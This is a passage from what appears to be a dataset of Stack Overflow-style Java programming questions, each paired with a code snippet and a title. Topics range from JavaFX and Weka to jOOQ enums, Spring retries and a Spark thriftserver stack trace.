as I would like ) . Is there an alternative to the TextArea ( doesnt have to be in JavaFX ) ? I 'm looking for something very simple , which basically allows me to get & set text . Slidercontrol , as in JavaFX TextArea , would be very handy.Thank you and have a great day ! Edit : a very basic example of my code :","public class Main extends Application { public void start ( Stage stage ) { Pane pane = new Pane ( ) ; TextField filePath = new TextField ( `` Filepath goes in here ... '' ) ; TextArea file = new TextArea ( `` Imported file strings go here ... '' ) ; file.relocate ( 0 , 60 ) ; Button btnImport = new Button ( `` Import file '' ) ; btnImport.relocate ( 0 , 30 ) ; ArrayList < String > data = new ArrayList < > ( ) ; btnImport.setOnAction ( e - > { File fileToImport = new File ( filePath.getText ( ) ) ; try { Scanner scanner = new Scanner ( fileToImport ) ; while ( scanner.hasNextLine ( ) ) { data.add ( scanner.nextLine ( ) ) ; } file.setText ( data.toString ( ) ) ; } catch ( FileNotFoundException e1 ) { e1.printStackTrace ( ) ; } } ) ; pane.getChildren ( ) .addAll ( filePath , file , btnImport ) ; Scene scene = new Scene ( pane ) ; stage.setScene ( scene ) ; stage.show ( ) ; } public static void main ( String [ ] args ) { launch ( ) ; } }",Using large txt files in JavaFX ( TextArea alternatives ? ) +Java,"In Haskell I can define following data type : and then write polymorphic function like this : In Java I can emulate algebraic data types with interfaces : But if I try to use Haskell-like polymorphism , I get an error : Correct way to overcome this is to put method depth ( ) to each class . But what if I do n't want to put it there ? For example , method depth ( ) may be not directly related to Tree and adding it to class would break business logic . Or , even worse , Tree may be written in 3rd party library that I do n't have access to . In this case , what is the simplest way to implement ADT-like polymorpism ? Just in case , for the moment I 'm using following syntax , which is obviously ill-favored :","data Tree = Empty | Leaf Int | Node Tree Tree depth : : Tree - > Intdepth Empty = 0depth ( Leaf n ) = 1depth ( Node l r ) = 1 + max ( depth l ) ( depth r ) interface Tree { } class Empty implements Tree { } class Leaf implements Tree { int n ; } class Node implements Tree { Tree l ; Tree r ; } int depth ( Empty node ) { return 0 ; } int depth ( Leaf node ) { return 1 ; } int depth ( Node node ) { return 1 + Math.max ( depth ( node.l ) , depth ( node.r ) ) ; // ERROR : Can not resolve method 'depth ( Tree ) ' } int depth ( Tree tree ) { if ( tree instanceof Empty ) depth ( ( Empty ) tree ) if ( tree instanceof Leaf ) depth ( ( Leaf ) tree ) ; if ( tree instanceof Node ) depth ( ( Node ) tree ) ; else throw new RuntimeException ( `` Do n't know how to find depth of `` + tree.getClass ( ) ) ; }",ADT-like polymorphism in Java ( without altering class ) +Java,"I have an image that contains textual information and : I extract/crop a small image from it I am using an OCR to extract the text from the small image Check if the extracted value matches a pattern ( Float , date ... ) if soI store the value in database the problem is : sometimes the ocr extracts a value with some symbols in it so it does n't match the pattern example : for the pattern date i have : the value from the image is but the OCR extracted : i want to get the similarity between the pattern and the value extracted ( to treat it lately ) is there a way to do that without changing the pattern ?",pattern = `` ( 0 [ 1-9 ] | [ 12 ] [ 0-9 ] |3 [ 01 ] ) / ( 0 [ 1-9 ] |1 [ 012 ] ) / ( 19|20 ) \d\d '' 12/02/2014 12 ? /02 -2014,similarity between pattern ( regex ) and the value found +Java,I have a String in Java called Kiran < kiran @ gmail.com > . I want to get String just kiran @ gmail.com by removing other content.Output should be kiran @ gmail.comPlease help me out in solving this .,String s1= kiran < kiran @ gmail.com >,How to filter a String in java with specific range ( email format ) +Java,I was trying to use stacking method weka api in java and found a tutorial for single classifier . I tried implementing stacking using the method described in the tutorial method but the classification is done with default Zero classifier in Weka.I was able to set meta classifier using `` setMetaClassifier '' but not able to change the base classifier.What is the proper method to set base classifier in stacking ?,"import java.io.BufferedReader ; import java.io.FileReader ; import java.util.Random ; import weka.classifiers.Evaluation ; import weka.classifiers.meta.Stacking ; import weka.core.Instances ; public class startweka { public static void main ( String [ ] args ) throws Exception { BufferedReader breader=new BufferedReader ( new FileReader ( `` C : /newtrain.arff '' ) ) ; Instances train=new Instances ( breader ) ; train.setClassIndex ( train.numAttributes ( ) -1 ) ; breader.close ( ) ; String [ ] stackoptions = new String [ 1 ] ; { stackoptions [ 0 ] = `` -w weka.classifiers.functions.SMO '' ; } Stacking nb=new Stacking ( ) ; J48 j48=new J48 ( ) ; SMO jj=new SMO ( ) ; nb.setMetaClassifier ( j48 ) ; nb.buildClassifier ( train ) ; Evaluation eval=new Evaluation ( train ) ; eval.crossValidateModel ( nb , train , 10 , new Random ( 1 ) ) ; System.out.println ( eval.toSummaryString ( `` results '' , true ) ) ; } }",How to specify the base classifier in stacking method when using Weka API ? +Java,I have created twitter stream filtered by some keywords as follows . What is the best way to segregate tweets based on keywords matched . e.g . All the tweets that matches `` iphone '' should be stored into `` IPHONE '' table and all the tweets that matches `` samsung '' will be stored into `` SAMSUNG '' table and so on . NOTE : The no of filter keywords is about 500 .,"TwitterStream twitterStream = getTwitterStreamInstance ( ) ; FilterQuery filtre = new FilterQuery ( ) ; String [ ] keywordsArray = { `` iphone '' , `` samsung '' , `` apple '' , `` amazon '' } ; filtre.track ( keywordsArray ) ; twitterStream.filter ( filtre ) ; twitterStream.addListener ( listener ) ;",Segregating filtered tweets based on matched keywords : Twitter4j API +Java,"How do I avoid going through the ProxySelector when making a connection with URLConnection or rather how to get a connection guaranteed free of whatever proxies Java knows about ? I thought this was what Proxy.NO_PROXY was for . Quoting from the Javadoc : A proxy setting that represents a DIRECT connection , basically telling the protocol handler not to use any proxyingYet such a connection will still go through the ProxySelector . I do n't get it ? ? I 've made a small test to prove my point : and a dummy ProxySelector which does nothing but log what is going on : which prints : ( Note how the protocol has changed from http to socket ) I can of course create my ProxySelector in such a way so that it always returns Proxy.NO_PROXY if the URI scheme is socket but I guess there would be occasions where there 's a SOCKS proxy on the site and then it would n't be true.Let me restate the question : I need a way to make sure a specific URLConnection does n't use a proxy , regardless of what System Properties may be set or what ProxySelector is installed .","public static void main ( String [ ] args ) throws MalformedURLException , IOException { ProxySelector.setDefault ( new MyProxySelector ( ) ) ; URL url = new URL ( `` http : //foobar.com/x1/x2 '' ) ; URLConnection connection = url.openConnection ( Proxy.NO_PROXY ) ; connection.connect ( ) ; } public class MyProxySelector extends ProxySelector { @ Override public List < Proxy > select ( URI uri ) { System.out.println ( `` MyProxySelector called with URI = `` + uri ) ; return Collections.singletonList ( Proxy.NO_PROXY ) ; } @ Override public void connectFailed ( URI uri , SocketAddress sa , IOException ioe ) { } } `` MyProxySelector called with URI = socket : //foobar.com:80 ''",How to get a proxy-less connection in Java ? +Java,I am trying to understand the SynchronizedMap and I ran the below code . I get the below Output with an exception . According to my understanding the exception is caused when the get ( ) methods are trying to access the syncmap when a thread is still executing a write on the map or Thread is in the Sleep state . Is my understanding correct or am I missing something ? OUTPUT : EDIT : I ran the code again a few times when the output was generated without exception . Why is this behavior ?,"class MapHelper1 implements Runnable { Map < String , Integer > map ; public MapHelper1 ( Map < String , Integer > map ) { this.map = map ; new Thread ( this , `` MapHelper1 '' ) .start ( ) ; } public void run ( ) { map.put ( `` One '' , 1 ) ; try { System.out.println ( `` MapHelper1 sleeping '' ) ; Thread.sleep ( 100 ) ; } catch ( Exception e ) { System.out.println ( e ) ; } } } class MapHelper2 implements Runnable { Map < String , Integer > map ; public MapHelper2 ( Map < String , Integer > map ) { this.map = map ; new Thread ( this , `` MapHelper3 '' ) .start ( ) ; } public void run ( ) { map.put ( `` two '' , 1 ) ; try { System.out.println ( `` MapHelper2 sleeping '' ) ; Thread.sleep ( 100 ) ; } catch ( Exception e ) { System.out.println ( e ) ; } } } class MapHelper3 implements Runnable { Map < String , Integer > map ; public MapHelper3 ( Map < String , Integer > map ) { this.map = map ; new Thread ( this , `` MapHelper3 '' ) .start ( ) ; } public void run ( ) { map.put ( `` three '' , 1 ) ; try { System.out.println ( `` MapHelper3 sleeping '' ) ; Thread.sleep ( 100 ) ; } catch ( Exception e ) { System.out.println ( e ) ; } } } public class MainClass { public static void main ( String [ ] args ) { Map < String , Integer > hashMap = new HashMap < > ( ) ; Map < String , Integer > syncMap = Collections.synchronizedMap ( hashMap ) ; MapHelper1 mapHelper1 = new MapHelper1 ( syncMap ) ; MapHelper2 mapHelper2 = new MapHelper2 ( syncMap ) ; MapHelper3 mapHelper3 = new MapHelper3 ( syncMap ) ; for ( Map.Entry < String , Integer > e : syncMap.entrySet ( ) ) { System.out.println ( e.getKey ( ) + `` = '' + e.getValue ( ) ) ; } } } MapHelper1 sleepingMapHelper2 sleepingMapHelper3 sleepingException in thread `` main '' java.util.ConcurrentModificationExceptionat java.base/java.util.HashMap $ HashIterator.nextNode ( HashMap.java:1494 ) at java.base/java.util.HashMap $ EntryIterator.next ( HashMap.java:1527 ) at java.base/java.util.HashMap $ EntryIterator.next ( HashMap.java:1525 ) at MainClass.main ( MainClass.java:137 ) Command exited with non-zero status 1",SynchronizedMap ConcurrentModificationException +Java,"I have a List of items with a ( java.util . ) Date property , and I want to create a DataSeriesItem for each day beginning from the oldest date up to now . It is for a chart series with a timeline . The creation of that DataSeriesItem will look like this : DataSeriesItem seriesItem = new DataSeriesItem ( Date , occurrenceCount ) ; Where the occurrenceCount is the count of Items where their Date property matches that day . The first parameter can also be of type java.time.InstantI have managed to find a way that works , but I am certain that my approach is very bad and could possibly be done with one stream , maybe two . However , I am a beginner in streams and could not do it with my knowledge.Is this possible with stream ? How would it probably look like approximately ? I 'm not asking you to actually do my whole implementation anew , but only point me to the correct streamfunctions and mappings that you would use , and for bonus points an example of it.Here is my ugly solution :","List < ? > items = myItems ; Collection < Date > foundDates = new HashSet < > ( ) ; for ( Object item : items ) { foundDates.add ( ( Date ) getPropertyValueFromItem ( item , configurator.getDateProperty ( ) ) ) ; } //====== This is the part I am asking about ======//Map < Instant , Integer > foundInstants = new HashMap < > ( ) ; foundDates.stream ( ) .sorted ( Date : :compareTo ) .forEach ( date - > { Calendar c = Calendar.getInstance ( ) ; c.clear ( ) ; // clear nanoseconds , or else equals wo n't work ! c.set ( date.getYear ( ) +1900 , date.getMonth ( ) , date.getDate ( ) , 0 , 0 , 0 ) ; if ( ! foundInstants.containsKey ( c.toInstant ( ) ) ) { foundInstants.put ( c.toInstant ( ) , 1 ) ; } else { // increment count of that entry Integer value = foundInstants.get ( c.toInstant ( ) ) ; foundInstants.remove ( c.toInstant ( ) ) ; foundInstants.put ( c.toInstant ( ) , ++value ) ; } } ) ; //====== Leaving this code here for context ======// // Could this maybe simplyfied too by using streams ? // find oldest dateDate dateIndex = foundDates.stream ( ) .min ( Date : :compareTo ) .get ( ) ; Date now = new Date ( ) ; // starting from oldest date , add a seriesItem for each day until now// if dateOccurrences contains the current/iterated date , use it 's value , else 0while ( dateIndex.before ( now ) ) { Calendar c = Calendar.getInstance ( ) ; c.clear ( ) ; // clear nanoseconds , or else equals wo n't work ! c.set ( dateIndex.getYear ( ) +1900 , dateIndex.getMonth ( ) , dateIndex.getDate ( ) , 0 , 0 , 0 ) ; if ( foundInstants.containsKey ( c.toInstant ( ) ) ) { ExtendedDataSeriesItem seriesItem = new ExtendedDataSeriesItem ( c.toInstant ( ) , foundInstants.get ( c.toInstant ( ) ) ) ; seriesItem.setSeriesType ( `` singleDataPoint '' ) ; series.add ( seriesItem ) ; } else { ExtendedDataSeriesItem seriesItem = new ExtendedDataSeriesItem ( c.toInstant ( ) , 0 ) ; seriesItem.setSeriesType ( `` singleDataPoint '' ) ; series.add ( seriesItem ) ; } c.add ( Calendar.DATE , 1 ) ; // adding a day is complicated . Calendar gets it right . Date does not . This is why I do n't use Date here dateIndex = c.getTime ( ) ; }",Using Java Stream to count occurrences of Dates in a list of items +Java,"I want to grab a MIDI file , read it , and then store the data in some sort of data structure . Using this site I found an easy way to read the file , which works like a charm : Reading MIDI FilesNow I need to figure out a way to grab that output and store it . A Hash Map does n't seem ideal since keys need to be unique and a List of type Object does n't seem great . Any ideas on what my best option might be . I suppose I might output it to a text or csv ... Thoughts ? UPDATE : A bit more detail on what I already have.Here is the output I 'm getting ( through System.out.println ) : Now I just need to find the best method of storing this information . I should probably be expicit about `` why '' I 'm trying to do this as well . I 'm working with another developer who is going to take this data and use Batik ( which I know nothing about ) to display it on the screen.Thanks for all the responses ... I 'll look closely at each of them tonight ...","@ 0 Channel : 1 Note on , E5 key=76 velocity : 127 @ 192 Channel : 1 Note off , E5 key=76 velocity : 64 @ 192 Channel : 1 Note on , D # 5 key=75 velocity : 127 @ 384 Channel : 1 Note off , D # 5 key=75 velocity : 64 @ 384 Channel : 1 Note on , E5 key=76 velocity : 127","Convert MIDI to Java data structure ( List , Hash Map , ? ? ? )" +Java,"In my program i have two methods : methodA gets called by the client very often , whereas methodB gets only called from time to time . However , I need to make sure that whenever a client wants to call methodB it can do so ( after possible current execution of methodA has finished ) . I tried to introduce a synchronized block with an locking object within each method however methodB seems to starve , since methodA gets called more often.How can I solve this issue ?",public void methodA ( ) { //gets called very often //write something to file } public void methodB ( ) { //write something to file },Locks between two methods starving one method +Java,"I used the parallelStream to get the longest string in an array , the code is following , each time it runs , I get different result . AtomicReference supposes to be thread safe even when used within parallelStream ? But why does this happen ? for one time , I get “ congratulations ” printed , and some time I get “ platform ” printed .","public static void main ( String [ ] args ) { AtomicReference < String > longest = new AtomicReference < > ( ) ; LongAccumulator accumulator = new LongAccumulator ( Math : :max , 0 ) ; List < String > words = Arrays.asList ( `` him '' , `` he '' , `` thanks '' , `` strings '' , `` congratulations '' , `` platform '' ) ; words.parallelStream ( ) .forEach ( next - > longest.updateAndGet ( current - > { String result = next.length ( ) > accumulator.intValue ( ) ? next : current ; accumulator.accumulate ( next.length ( ) ) ; return result ; } ) ) ; System.out.println ( longest.get ( ) ) ; }",is java AtomicReference thread safe when used within parallelStream ? +Java,"I need to make analyzing only root project , and ignore nested sub module , but it dSo I have this hierarchy : My configuration settings.gradleI need to make analyzing only root project , and ignore nested sub module , but I got : Then I tried to add multi module configuration : but got message at UI : no analysis has been performedIt 's only works when I remove definishion of subproject from settings.gradle , and remove all submodule confguration","ProjectMain -src -subProjectAngular settings.gradle rootProject.name= '' ProjectMain '' include 'subProjectAngular ' A multi-module project ca n't have source folders , so ' C : \Users\vagrant\develop-2\site\Source\Site\Vessels\src\main\java ' wo n't be used for the analysis . If you want to analyse files of this folder , you should create another sub-module and move them inside it . systemProp.sonar.projectKey=sitesystemProp.sonar.projectName=vessels-testsystemProp.sonar.projectBaseDir=.systemProp.sonar.sources=srcsystemProp.sonar.modules=javamodule , angularmodulesystemProp.javamodule.sonar.projectName=vesselssystemProp.javamodule.sonar.sources=srcsystemProp.javamodule.sonar.projectBaseDir=.systemProp.javamodule.sonar.language=javasystemProp.angularmodule.sonar.projectName=angularsystemProp.angularmodule.sonar.projectBaseDir=.systemProp.angularmodule",SonarQube not apply analyzing to the root project +Java,"I am using the Apache Maven 3.5.2 and I face the same problem . I try to pull dependencies from two nexus-releases-repository , using the same account ( username + password ) My .m2/setting.xml contains : My project 's pom.xml contains : I am using the same account to login into both of repository , but I get maven errorrepositories.repository.id must be unique . How that can be resolved",< servers > < server > < id > nexus < /id > < username > username < /username > < password > password < /password > < /server > < /servers > < repositories > < repository > < id > nexus < /id > < url > https : //DOMAIN/repository/repoA-maven-public/ < /url > < /repository > < repository > < id > nexus < /id > < url > https : //DOMAIN/repository/repoB-maven-public/ < /url > < /repository > < /repositories >,Multiple maven repository with the same credentials +Java,"Given a floating point number , I 'm looking to get a String representation of a rational number approximating the decimal ( to within a given tolerance ε is fine ) . My current approach is as follows : If you 're unfamiliar with it , ApintMath.pow will work even with arbitrarily long numbers , which is good because I 'm attempting to convert decimals with thousands of decimal places . The performance of my algorithm is terrible . I attribute this to two things , but there could be more : My approach to getting a fraction is pretty naive . I 'm sure there 's a better way.The fraction is unsimplified , so any subsequent calculations using this fraction are likely going to waste a lot of time . How would you do this ? Are there other areas I have n't talked about that are slowing me down ?","String rationalize ( double d ) { String s = Double.toString ( d ) ; s = s.substring ( s.indexOf ( ' . ' ) +1 , s.length ( ) ) ; return s + `` / `` + ApintMath.pow ( new Apint ( 10 ) , s.length ( ) ) .toString ( ) ; }",Performant algorithm to rationalize floats +Java,"I 'm trying to declare an enum in Java and use a variable of that type in a switch statement , where all possible cases for enum constants of that type are covered.Why is the compiler not capable of detecting that this switch will always initialize msg ( or throw a NullPointerException because e is null ) ?","enum MyEnum { FOO , BAR } private static void test ( MyEnum e ) { String msg ; switch ( e ) { case FOO : msg = `` foo '' ; break ; case BAR : msg = `` bar '' ; break ; } System.out.println ( `` Enum is : `` + e + `` msg is : `` + msg ) ; //compiler error }","Why , when I have cases for every enum constant in a switch statement , must I still provide a default ?" +Java,"I always understood static variables to share one instance whenever they were referenced . I wanted to put this to the test but the results were different than I had expected.output : counter : 1test : 0Since test references counter I thought that when I increment counter then test will automatically be incremented as well . However , it seems test is referencing 0 from somewhere , question is , where ?",static Integer counter = 0 ; static Integer test = counter ; public static void main ( String args [ ] ) { counter++ ; System.out.println ( `` counter : `` + counter ) ; System.out.println ( `` test : `` + test ) ; },Incrementing an Integer variable does n't affect another referencing the same object +Java,We use several Map as simple memory DB over list of objects : Are there any syntax sugar or built-in functor in Java SE to replace p - > p with something else ?,"class Person { public String id ; public String phone ; public String email ; // and get/set and other fields ... } List < Person > persons ; Map < String , Person > emailLookup = persons.stream ( ) .collect ( Collectors.toMap ( Person : :getEmail , p - > p ) ) ; Map < String , Person > phoneLookup = persons.stream ( ) .collect ( Collectors.toMap ( Person : :getPhone , p - > p ) ) ; Map < String , Person > idLookup = persons.stream ( ) .collect ( Collectors.toMap ( Person : :getId , p - > p ) ) ;",Java stream API : are there syntax sugar for identity functor ? +Java,"I have a set of resource ids stored in an array . This is accessed inside the recycler view to populate an image view . The problem is when I access the array , all values returned is 0.The drawables are in the hdpi folder only .",// arrays.xml < array name= '' array_category_icons '' > < item > @ drawable/autumn < /item > < item > @ drawable/backpack < /item > < /array > // inside recycler view adapterint [ ] myIcons = getActivity ( ) .getResources ( ) .getIntArray ( R.array.array_category_icons ) ; myIcons [ i ] always returns 0 .,Integer array of resource ids returns 0 +Java,"Given a table with an enum column , like this : How do I insert into the said table using jOOQ without generating Java code for the whole table ? For this particular instance , I can not ( yet ) simply generate the code due to other technical restrictions . I could copy-paste a piece of generated code ( a type definition e.g . ) if that helps , but the whole table is too much.What I tried : No typing at all : As expected , this throws on incompatible types : org.jooq.exception.DataAccessException : SQL [ insert into enum_table ( direction ) values ( ? ) ] ; ERROR : column `` direction '' is of type direction but expression is of type character varying.Column type as Enum.class + coercing or casting to Enum.class : which throws this : org.jooq.exception.SQLDialectNotSupportedException : Type class java.lang.Enum is not supported in dialect DEFAULT. ( Wut ? I absolutely have set my dialect to SQLDialect.POSTGRES_9_5 . ) Creating an ad-hoc enum in Java : Also tried an alternative - same result : Throws the incompatible types exception again : org.jooq.exception.DataAccessException : SQL [ insert into enum_table ( direction ) values ( ? ) ] ; ERROR : column `` direction '' is of type direction but expression is of type character varying.Is there any way to insert into an `` unknown '' ( not generated ) table with an enum column using jOOQ ?","CREATE TYPE DIRECTION AS ENUM ( 'NORTH ' , 'EAST ' , 'SOUTH ' , 'WEST ' ) ; CREATE TABLE enum_table ( direction DIRECTION NOT NULL ) ; context.insertInto ( table ( `` enum_table '' ) ) .columns ( field ( `` direction '' ) ) .values ( `` west '' ) .execute ( ) ; context.insertInto ( table ( `` enum_table '' ) ) .columns ( field ( `` direction '' , Enum.class ) ) .values ( DSL.coerce ( `` west '' , Enum.class ) ) // or DSL.cast ( ) , same result .execute ( ) ; private enum Direction implements EnumType { NORTH , EAST , SOUTH , WEST ; @ Override public String getLiteral ( ) { return this.name ( ) ; } @ Override public String getName ( ) { return `` direction '' ; } } // and thencontext.insertInto ( table ( `` enum_table '' ) ) .columns ( field ( `` direction '' , Direction.class ) ) .values ( Direction.WEST ) .execute ( ) ; .columns ( field ( `` direction '' , SQLDataType.VARCHAR.nullable ( false ) .asEnumDataType ( Direction.class ) ) )",Insert an enum value into an unknown table with jOOQ +Java,"I am trying to make my Service Method retrying on failure with Springs @ Retryable.The Problem is , that the exception appears after saving the something-object . So the Transaction is rolled back and the Method is called again . The Difference is that the id of the something-object is not null anymore but the value it got from the previous saving process by Hibernate so in the second attempt Hibernate does not save the object but tries to update it . Since no entry is in the DB the update does n't do anything and the object is not persited to the DB.After recognizing this i tried to set the stateful property of @ Retryable to true : But with that config saveSomething ( ) is just called once and der is no second attempt.Has anyone suggestions to solve this problem ?","@ Retryable ( backoff = @ Backoff ( delay = 1000 ) , maxAttempts = 3 ) @ Transactional ( rollbackFor = Throwable.class ) public Something saveSomething ( Something something ) { //some logic and saving } @ Retryable ( backoff = @ Backoff ( delay = 1000 ) , maxAttempts = 3 , stateful = true ) @ Transactional ( rollbackFor = Throwable.class ) public Something saveSomething ( Something something ) { //some logic and saving }",Spring @ Retryable with stateful Hibernate Object +Java,"When I am trying to run datastax spark-sql-thriftserver , I am getting these errors : Spark Command : /opt/jdk1.8.0_112/jre//bin/java -cp /etc/dse/spark/ : /usr/share/dse/spark/jars/* : /etc/dse/hadoop2-client/ -Djava.library.path=/usr/share/dse/hadoop2-client/lib/native : /usr/share/dse/cassandra/lib/sigar-bin : -Dcassandra.logdir=/var/log/cassandra -XX : MaxHeapFreeRatio=50 -XX : MinHeapFreeRatio=20 -Dguice_include_stack_traces=OFF -Ddse.system_memory_in_mb=32174 -Dcassandra.config.loader=com.datastax.bdp.config.DseConfigurationLoader -Dlogback.configurationFile=/etc/dse/spark/logback-spark.xml -Dcassandra.logdir=/var/log/cassandra -Ddse.client.configuration.impl=com.datastax.bdp.transport.client.HadoopBasedClientConfiguration -Dderby.stream.error.method=com.datastax.bdp.derby.LogbackBridge.getLogger -Xmx1024M org.apache.spark.deploy.SparkSubmit -- conf spark.executor.memory=2g -- conf spark.cores.max=10 -- class org.apache.spark.sql.hive.thriftserver.HiveThriftServer2 spark-internal -- hiveconf hive.server2.thrift.port=10001 ======================================== WARN 2017-05-07 22:21:55 org.apache.spark.SparkContext : Use an existing SparkContext , some configuration may not take effect . ERROR 2017-05-07 22:22:04 org.apache.spark.deploy.DseSparkSubmitBootstrapper : Failed to start or submit Spark application java.lang.NoSuchMethodError : org.apache.hive.service.cli.operation.LogDivertAppender.setWriter ( Ljava/io/Writer ; ) V at org.apache.hive.service.cli.operation.LogDivertAppender . ( LogDivertAppender.java:166 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.hive.service.cli.operation.OperationManager.initOperationLogCapture ( OperationManager.java:85 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.hive.service.cli.operation.OperationManager.init ( OperationManager.java:63 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.ReflectedCompositeService $ $ anonfun $ initCompositeService $ 1.apply ( SparkSQLCLIService.scala:79 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.ReflectedCompositeService $ $ anonfun $ initCompositeService $ 1.apply ( SparkSQLCLIService.scala:79 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at scala.collection.Iterator $ class.foreach ( Iterator.scala:893 ) ~ [ scala-library-2.11.8.jar : na ] at scala.collection.AbstractIterator.foreach ( Iterator.scala:1336 ) ~ [ scala-library-2.11.8.jar : na ] at scala.collection.IterableLike $ class.foreach ( IterableLike.scala:72 ) ~ [ scala-library-2.11.8.jar : na ] at scala.collection.AbstractIterable.foreach ( Iterable.scala:54 ) ~ [ scala-library-2.11.8.jar : na ] at org.apache.spark.sql.hive.thriftserver.ReflectedCompositeService $ class.initCompositeService ( SparkSQLCLIService.scala:79 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.SparkSQLSessionManager.initCompositeService ( SparkSQLSessionManager.scala:36 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.SparkSQLSessionManager.init ( SparkSQLSessionManager.scala:58 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.ReflectedCompositeService $ $ anonfun $ initCompositeService $ 1.apply ( SparkSQLCLIService.scala:79 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.ReflectedCompositeService $ $ anonfun $ initCompositeService $ 1.apply ( SparkSQLCLIService.scala:79 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at scala.collection.Iterator $ class.foreach ( Iterator.scala:893 ) ~ [ scala-library-2.11.8.jar : na ] at scala.collection.AbstractIterator.foreach ( Iterator.scala:1336 ) ~ [ scala-library-2.11.8.jar : na ] at scala.collection.IterableLike $ class.foreach ( IterableLike.scala:72 ) ~ [ scala-library-2.11.8.jar : na ] at scala.collection.AbstractIterable.foreach ( Iterable.scala:54 ) ~ [ scala-library-2.11.8.jar : na ] at org.apache.spark.sql.hive.thriftserver.ReflectedCompositeService $ class.initCompositeService ( SparkSQLCLIService.scala:79 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.SparkSQLCLIService.initCompositeService ( SparkSQLCLIService.scala:39 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.SparkSQLCLIService.init ( SparkSQLCLIService.scala:62 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.ReflectedCompositeService $ $ anonfun $ initCompositeService $ 1.apply ( SparkSQLCLIService.scala:79 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.ReflectedCompositeService $ $ anonfun $ initCompositeService $ 1.apply ( SparkSQLCLIService.scala:79 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at scala.collection.Iterator $ class.foreach ( Iterator.scala:893 ) ~ [ scala-library-2.11.8.jar : na ] at scala.collection.AbstractIterator.foreach ( Iterator.scala:1336 ) ~ [ scala-library-2.11.8.jar : na ] at scala.collection.IterableLike $ class.foreach ( IterableLike.scala:72 ) ~ [ scala-library-2.11.8.jar : na ] at scala.collection.AbstractIterable.foreach ( Iterable.scala:54 ) ~ [ scala-library-2.11.8.jar : na ] at org.apache.spark.sql.hive.thriftserver.ReflectedCompositeService $ class.initCompositeService ( SparkSQLCLIService.scala:79 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.HiveThriftServer2.initCompositeService ( HiveThriftServer2.scala:272 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.HiveThriftServer2.init ( HiveThriftServer2.scala:292 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.HiveThriftServer2 $ .main ( HiveThriftServer2.scala:94 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.sql.hive.thriftserver.HiveThriftServer2.main ( HiveThriftServer2.scala ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) ~ [ na:1.8.0_112 ] at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) ~ [ na:1.8.0_112 ] at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) ~ [ na:1.8.0_112 ] at java.lang.reflect.Method.invoke ( Method.java:498 ) ~ [ na:1.8.0_112 ] at org.apache.spark.deploy.DseSparkSubmit $ .org $ apache $ spark $ deploy $ DseSparkSubmit $ $ runMain ( DseSparkSubmit.scala:730 ) ~ [ dse-spark-5.1.0.jar:5.1.0 ] at org.apache.spark.deploy.DseSparkSubmit $ .doRunMain $ 1 ( DseSparkSubmit.scala:175 ) ~ [ dse-spark-5.1.0.jar:5.1.0 ] at org.apache.spark.deploy.DseSparkSubmit $ .submit ( DseSparkSubmit.scala:200 ) ~ [ dse-spark-5.1.0.jar:5.1.0 ] at org.apache.spark.deploy.DseSparkSubmit $ .main ( DseSparkSubmit.scala:109 ) ~ [ dse-spark-5.1.0.jar:5.1.0 ] at org.apache.spark.deploy.DseSparkSubmitBootstrapper $ .main ( DseSparkSubmitBootstrapper.scala:74 ) ~ [ dse-spark-5.1.0.jar:5.1.0 ] at org.apache.spark.deploy.DseSparkSubmitBootstrapper.main ( DseSparkSubmitBootstrapper.scala ) [ dse-spark-5.1.0.jar:5.1.0 ] ERROR 2017-05-07 22:22:15 org.apache.spark.util.Utils : Uncaught exception in thread Thread-0 java.lang.NullPointerException : null at org.apache.spark.sql.hive.thriftserver.HiveThriftServer2 $ $ anonfun $ main $ 1.apply $ mcV $ sp ( HiveThriftServer2.scala:85 ) ~ [ spark-hive-thriftserver_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.util.SparkShutdownHook.run ( ShutdownHookManager.scala:215 ) ~ [ spark-core_2.11-2.0.2.6.jar:2.0.2.6 ] at org.apache.spark.util.SparkShutdownHookManager $ $ anonfun $ runAll $ 1 $ $ anonfun $ apply $ mcV $ sp $ 1.apply $ mcV $ sp ( ShutdownHookManager.scala:187 ) ~ [ spark-core_2.11-2.0.2.6.jar:2.0.2.6 ] at 